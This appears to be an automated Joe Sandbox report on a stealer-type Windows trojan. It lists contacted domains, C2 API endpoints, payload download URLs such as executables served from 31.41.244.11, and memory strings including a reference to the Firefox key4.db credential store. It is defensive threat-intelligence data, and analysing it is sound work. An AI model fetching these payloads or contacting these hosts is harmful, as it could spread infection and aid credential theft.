Name	IP	Active	Malicious	Reputation
pancakedipyps.click	104.21.23.76	true	false	high
treehoneyi.click	104.21.91.209	true	false	high
immureprech.biz	104.131.68.180	true	false	high
home.twentytk20pn.top	147.45.113.159	true	false	high
httpbin.org	98.85.100.80	true	false	high
bellflamre.click	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
aspecteirs.lat	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
sustainskelet.lat	false	high
rapeflowwj.lat	false	high
https://pancakedipyps.click/api	false	high
energyaffai.lat	false	high
https://treehoneyi.click/api	true	unknown
grannyejh.lat	false	high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=2Rb3R6cTcShMDFLr1734664370	true	unknown
pancakedipyps.click	false	high
necklacebudi.lat	false	high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	623cea31e9.exe, 00000009.00000003.2501646598.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501746217.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501556521.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592016814.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2591834970.00000000055CC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://treehoneyi.click/$	0a60e3a257.exe, 0000000B.00000003.2671116771.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2671729932.00000000008F1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/ac/?q=	623cea31e9.exe, 00000009.00000003.2501646598.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501746217.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501556521.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592016814.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2591834970.00000000055CC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	false	high
https://treehoneyi.click/apio	0a60e3a257.exe, 0000000B.00000003.2565659991.0000000000903000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2565554245.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	false	high
https://immureprech.biz/pi	173fa614c9.exe, 00000013.00000002.2955163088.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	623cea31e9.exe, 00000009.00000003.2558340506.000000000338B000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664351900.0000000005585000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664009371.0000000005582000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/fate/random.exe	skotes.exe, 00000006.00000002.2953163550.000000000087F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2953163550.0000000000869000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers	521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bellflamre.click/api)	173fa614c9.exe, 00000013.00000002.2955163088.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/bu0	623cea31e9.exe, 00000009.00000002.2692783107.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690494782.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/loadman/random.exea219613819.exeC	skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/	623cea31e9.exe, 00000009.00000003.2500615284.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2592210223.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000002.2692855650.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2551639988.0000000003388000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2526777133.0000000003386000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2630424113.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690494782.0000000000D59000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690796206.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2500772799.0000000000D16000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2630916042.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2592552557.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2558340506.000000000338B000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2552171137.000000000338B000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2551993104.0000000003388000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2500850365.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	false	high
https://treehoneyi.click/0	0a60e3a257.exe, 0000000B.00000003.2712495493.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2736550051.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2693183826.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2565659991.0000000000903000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2565554245.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.sajatypeworks.com	521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	false	high
https://curl.se/docs/hsts.html	a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	false	high
http://www.founder.com.cn/cn/cThe	521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.libertyreserve.com/beta/xml/transfer.aspx	521206d971.exe, 0000000C.00000002.2659821974.0000000003181000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe.6.dr	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0a60e3a257.exe, 0000000B.00000003.2664009371.0000000005582000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/loadman/random.exe7d1az	skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.galapagosdesign.com/DPlease	521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bellflamre.click/	173fa614c9.exe, 00000013.00000002.2955163088.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.urwpp.deDPlease	521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.zhongyicts.com.cn	521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.libertyreserve.com/beta/xml/balance.aspx	521206d971.exe, 0000000C.00000002.2659821974.0000000003181000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe.6.dr	false	high
http://31.41.244.11/files/unique1/random.exe.	skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	623cea31e9.exe, 00000009.00000003.2558340506.000000000338B000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664351900.0000000005585000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664009371.0000000005582000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/loadman/random.exeed	skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	false	high
https://pancakedipyps.click/o_	623cea31e9.exe, 00000009.00000003.2500772799.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://stackoverflow.com/q/14436606/23354	521206d971.exe, 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.libertyreserve.com/beta/xml/history.aspx	521206d971.exe, 0000000C.00000000.2575906221.0000000000D02000.00000002.00000001.01000000.0000000B.sdmp, 521206d971.exe.6.dr	false	high
https://pancakedipyps.click:443/apiC	623cea31e9.exe, 00000009.00000003.2500615284.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://immureprech.biz/apiT	173fa614c9.exe, 00000013.00000002.2955163088.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/apiP	623cea31e9.exe, 00000009.00000002.2692855650.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690796206.0000000000D69000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	623cea31e9.exe, 00000009.00000003.2501646598.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501746217.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501556521.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592016814.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2591834970.00000000055CC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	623cea31e9.exe, 00000009.00000003.2552765393.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2640269571.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	623cea31e9.exe, 00000009.00000003.2558340506.000000000338B000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664351900.0000000005585000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664009371.0000000005582000.00000004.00000800.00020000.00000000.sdmp	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17	a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	false	unknown
https://pancakedipyps.click:443/apiK	623cea31e9.exe, 00000009.00000003.2614165963.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000002.2692502524.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2691007732.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2591861474.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2668894302.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://ocsp.rootca1.amazontrust.com0:	623cea31e9.exe, 00000009.00000003.2552765393.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2640269571.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	623cea31e9.exe, 00000009.00000003.2526443923.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2502291102.0000000003423000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2527456153.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2502632389.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2502477428.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2618473605.00000000055D8000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592750356.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2618660731.00000000055D8000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2593006166.00000000055D8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://curl.se/docs/alt-svc.html	a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	false	high
http://31.41.244.11/files/fate/random.exet	skotes.exe, 00000006.00000002.2953163550.0000000000869000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://immureprech.biz/api	173fa614c9.exe, 00000013.00000002.2955163088.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pancakedipyps.click:443/apiefault-release/key4.dbPK	623cea31e9.exe, 00000009.00000002.2692502524.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2691007732.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.ecosia.org/newtab/	623cea31e9.exe, 00000009.00000003.2501646598.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501746217.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501556521.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592016814.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2591834970.00000000055CC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/ob	623cea31e9.exe, 00000009.00000002.2692855650.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2630803480.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2668640753.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2591618235.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690796206.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2630424113.0000000000D69000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0a60e3a257.exe, 0000000B.00000003.2641216553.00000000056AE000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/martin/random.exe	skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.carterandcone.coml	521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	false	high
https://treehoneyi.click/	0a60e3a257.exe, 0000000B.00000003.2664009371.0000000005582000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000002.2762613779.00000000008C3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://treehoneyi.click/api5	0a60e3a257.exe, 0000000B.00000003.2712495493.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2736550051.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.fontbureau.com/designers/frere-user.html	521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	false	high
https://httpbin.org/ipbefore	9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000003.2840711259.00000000079A6000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	false	high
https://immureprech.biz:443/api	173fa614c9.exe, 00000013.00000002.2955163088.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/api:	623cea31e9.exe, 00000009.00000003.2582946088.0000000003388000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	false	high
https://support.microsof	623cea31e9.exe, 00000009.00000003.2502291102.0000000003425000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592750356.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851	a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	false	unknown
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	623cea31e9.exe, 00000009.00000003.2502477428.00000000033B2000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2593006166.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://sci.libertyreserve.com/	skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, 521206d971.exe, 0000000C.00000000.2575906221.0000000000D02000.00000002.00000001.01000000.0000000B.sdmp, 521206d971.exe, 0000000C.00000002.2659821974.0000000003181000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe.6.dr	false	high
https://pancakedipyps.click/pi	623cea31e9.exe, 00000009.00000002.2692783107.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2630424113.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690494782.0000000000D59000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2630916042.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	false	high
https://treehoneyi.click/apiV	0a60e3a257.exe, 0000000B.00000003.2712495493.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://html4/loose.dtd	9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000003.2840711259.00000000079A6000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	false	high
http://31.41.244.11/files/loadman/random.exe7d1	skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.fontbureau.com/designersG	521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/loadman/random.exe6	skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/wicked/random.exe	skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851http://home.fivetk5ht.top/zldPRFrmVFHTtKntGp	a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	false	unknown
http://31.41.244.11/files/wicked/random.exe(	skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.fontbureau.com/designers/?	521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn/bThe	521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-netJ	521206d971.exe, 0000000E.00000002.2672691270.0000000005770000.00000004.08000000.00040000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003ECD000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003E01000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	false	high
http://31.41.244.11/files/loadman/random.exe1	skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/loadman/random.exe60ac02b4ded8abeee1fbc770934541bf5d	skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.fontbureau.com/designers?	521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/fate/random.exe84760	skotes.exe, 00000006.00000002.2953163550.000000000087F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.tiro.com	521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	623cea31e9.exe, 00000009.00000003.2501646598.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501746217.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501556521.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592016814.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2591834970.00000000055CC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	false	high
https://api.libertyreserve.com/beta/xml/history.aspxS	521206d971.exe, 0000000C.00000002.2659821974.0000000003181000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	623cea31e9.exe, 00000009.00000003.2526443923.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2502291102.0000000003423000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2527456153.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2502632389.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2502477428.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2618473605.00000000055D8000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592750356.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2618660731.00000000055D8000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2593006166.00000000055D8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.goodfont.co.kr	521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	false	high
http://.css	9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000003.2840711259.00000000079A6000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
98.85.100.80	httpbin.org	United States	11351	TWC-11351-NORTHEASTUS	false
147.45.113.159	home.twentytk20pn.top	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
104.21.91.209	treehoneyi.click	United States	13335	CLOUDFLARENETUS	false
104.131.68.180	immureprech.biz	United States	14061	DIGITALOCEAN-ASNUS	false
104.21.23.76	pancakedipyps.click	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578688
Start date and time:	2024-12-20 04:10:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@25/18@11/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63, 184.30.17.174
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:11:03	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
22:12:01	API Interceptor	61385x Sleep call for process: skotes.exe modified
22:12:17	API Interceptor	8x Sleep call for process: 623cea31e9.exe modified
22:12:23	API Interceptor	8x Sleep call for process: 0a60e3a257.exe modified
22:12:29	API Interceptor	1x Sleep call for process: 521206d971.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
